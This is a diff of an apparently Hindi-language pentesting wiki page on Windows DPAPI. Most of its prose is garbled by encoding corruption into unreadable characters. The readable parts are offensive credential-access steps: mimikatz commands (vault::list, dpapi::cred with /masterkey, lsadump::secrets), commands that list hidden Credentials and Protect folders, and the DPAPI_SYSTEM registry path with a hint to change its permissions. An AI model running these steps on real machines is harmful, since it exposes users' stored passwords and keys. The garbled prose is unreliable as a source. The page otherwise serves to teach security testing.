рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реЗ рдореБрдХреНрдд рдХрд░ рджреЗрддрд╛ рд╣реИред +Data Protection API (DPAPI) рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ **рдЕрд╕рдорд╛рди рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдПрдВрдЯреНрд░реЙрдкреА рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рд░рд╣рд╕реНрдпреЛрдВ рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЧрдИ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛, рд╕рд┐рд╕реНрдЯрдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП, рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд╕реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░ рджреЗрддрд╛ рд╣реИред -### Protected Data by DPAPI +DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХрд╛ **`CryptProtectData` рдФрд░ `CryptUnprotectData`** рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИ, рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд┐рдП рдЧрдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рддреНрд░ рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдбреЗрдЯрд╛ рдХреЗрд╡рд▓ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рджреНрд╡рд╛рд░рд╛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдиреЗ рдЗрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдерд╛ред -DPAPI рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбреЗрдЯрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпреЗ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдПрдХ **`entropy` рдкреИрд░рд╛рдореАрдЯрд░** рдХреЛ рднреА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рджреМрд░рд╛рди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рд╡рд╣реА рдПрдВрдЯреНрд░реЙрдкреА рдорд╛рди рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред -- Internet Explorer рдФрд░ Google Chrome рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдСрдЯреЛ-рдХрдВрдкреНрд▓реАрд╢рди рдбреЗрдЯрд╛ -- Outlook рдФрд░ Windows Mail рдЬреИрд╕реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдИ-рдореЗрд▓ рдФрд░ рдЖрдВрддрд░рд┐рдХ FTP рдЦрд╛рддрд╛ рдкрд╛рд╕рд╡рд░реНрдб -- рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ, рд╕рдВрд╕рд╛рдзрдиреЛрдВ, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ Windows Vault рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб, рдЬрд┐рд╕рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬрд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ -- рджреВрд░рд╕реНрде рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдиреЗрдХреНрд╢рдиреЛрдВ, .NET рдкрд╛рд╕рдкреЛрд░реНрдЯ, рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб -- Credential Manager рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ CryptProtectData рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбреЗрдЯрд╛, рдЬреИрд╕реЗ Skype, MSN messenger, рдФрд░ рдЕрдзрд┐рдХ +### Users key generation -## List Vault -```bash -# From cmd -vaultcmd /listcreds:"Windows Credentials" /all +DPAPI рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдирдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдХреБрдВрдЬреА (рдЬрд┐рд╕реЗ **`pre-key`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ) рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдЕрдиреНрдп рдХрд╛рд░рдХреЛрдВ рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИ рдФрд░ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЕрдВрддрддрдГ SHA1 рдмрдирддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП, **рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ HTLM рд╣реИрд╢ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ**ред -# From mimikatz -mimikatz vault::list -``` -## Credential Files +рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡реЗ: -The **credentials files protected** could be located in: -``` -dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ -dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -``` -mimikatz `dpapi::cred` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЖрдкрдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдбреЗрдЯрд╛ рдФрд░ guidMasterKey рдЬреИрд╕реА рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -```bash -mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 +- **DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдмрд┐рдирд╛ рдХрд┐рд╕реА API рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд┐рдП +- **рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдСрдлрд▓рд╛рдЗрди рд╕рд╣реА DPAPI рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реБрдП -[...] -guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} -[...] -pbData : b8f619[...snip...]b493fe -[..] -``` -рдЖрдк **mimikatz module** `dpapi::cred` рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдЪрд┐рдд `/masterkey` рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -``` -dpapi::cred /in:C:\path\to\encrypted\file /masterkey: -``` -## рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рд░ рдмрд╛рд░ рдЬрдм рдХреЛрдИ рдбреЗрдЯрд╛ DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рдирдпрд╛ **рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА** рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХреЛ рдПрдХ **GUID** (Globally Unique Identifier) рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИред -DPAPI рдХреБрдВрдЬреА рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА RSA рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ, `%APPDATA%\Microsoft\Protect\{SID}` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рддрд╣рдд рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ, рдЬрд╣рд╛рдБ {SID} рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ [**рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛**](https://en.wikipedia.org/wiki/Security_Identifier) рд╣реИред **DPAPI рдХреБрдВрдЬреА рдЙрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рд╣реЛрддреА рд╣реИ**ред рдпрд╣ рдЖрдорддреМрд░ рдкрд░ 64 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдбреЗрдЯрд╛ рд╣реЛрддрд╛ рд╣реИред (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдЗрд╕рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ `dir` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ cmd рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ, рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕реЗ PS рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпрд╛рдБ **`%APPDATA%\Microsoft\Protect\\`** рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ `{SID}` рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ **`pre-key`** рджреНрд╡рд╛рд░рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рд╣реИ рдФрд░ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ **рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА** рджреНрд╡рд╛рд░рд╛ рднреА (рдЗрд╕рд▓рд┐рдП рд╡рд╣реА рдХреБрдВрдЬреА 2 рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкрд╛рд╕ рджреНрд╡рд╛рд░рд╛ 2 рдмрд╛рд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рд╣реИ)ред + +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдбреЛрдореЗрди рдХреБрдВрдЬреА рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдореЗрдВ рд╣реЛрддреА рд╣реИ рдФрд░ рдХрднреА рдирд╣реАрдВ рдмрджрд▓рддреА**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рд╡реЗ рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдбреЛрдореЗрди рдореЗрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмреНрд▓реЙрдмреНрд╕ рдореЗрдВ **рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХрд╛ GUID** рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рдХреЗ рд╣реЗрдбрд░ рдХреЗ рднреАрддрд░ред + +> [!NOTE] +> DPAPI рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмреНрд▓реЙрдмреНрд╕ **`01 00 00 00`** рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ + +Find master keys: ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -64,30 +45,219 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} ![](<../../images/image (1121).png>) -рдЖрдорддреМрд░ рдкрд░ **рдкреНрд░рддреНрдпреЗрдХ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдПрдХ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕рдордорд┐рдд рдХреБрдВрдЬреА рд╣реЛрддреА рд╣реИ рдЬреЛ рдЕрдиреНрдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ**ред рдЗрд╕рд▓рд┐рдП, **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХреЛ рдирд┐рдХрд╛рд▓рдирд╛** рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рддрд╛рдХрд┐ рдмрд╛рдж рдореЗрдВ рдЙрд╕ **рдЕрдиреНрдп рд╕рд╛рдордЧреНрд░реА** рдХреЛ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдЗрд╕рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рд╣реИред +### рдорд╢реАрди/рд╕рд┐рд╕реНрдЯрдо рдХреБрдВрдЬреА рдирд┐рд░реНрдорд╛рдг -### рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ +рдпрд╣ рдХреБрдВрдЬреА рдорд╢реАрди рджреНрд╡рд╛рд░рд╛ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ **DPAPI_SYSTEM LSA рд░рд╣рд╕реНрдп** рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдХреБрдВрдЬреА рд╣реИ рдЬрд┐рд╕реЗ рдХреЗрд╡рд▓ SYSTEM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рд╕реНрд╡рдпрдВ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЬреИрд╕реЗ рдорд╢реАрди-рд╕реНрддрд░реАрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рд░рд╣рд╕реНрдпред -рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдЗрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ рдХреБрдВрдЬрд┐рдпрд╛рдБ **рдбреЛрдореЗрди рдмреИрдХрдЕрдк** рдирд╣реАрдВ рд░рдЦрддреА рд╣реИрдВ рдЗрд╕рд▓рд┐рдП рдпреЗ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: -## SharpDPAPI +- **Mimikatz** рдЗрд╕реЗ LSA рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: `mimikatz lsadump::secrets` +- рд░рд╣рд╕реНрдп рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреЗ рдЕрдВрджрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ **рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП DACL рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрде рд╣реИ: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` -[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) рдХреБрдЫ DPAPI рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ C# рдкреЛрд░реНрдЯ рд╣реИ [@gentilkiwi](https://twitter.com/gentilkiwi) рдХреЗ [Mimikatz](https://github.com/gentilkiwi/mimikatz/) рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╕реЗред +### DPAPI рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ -## HEKATOMB +DPAPI рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбреЗрдЯрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ LDAP рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рд╕рднреА 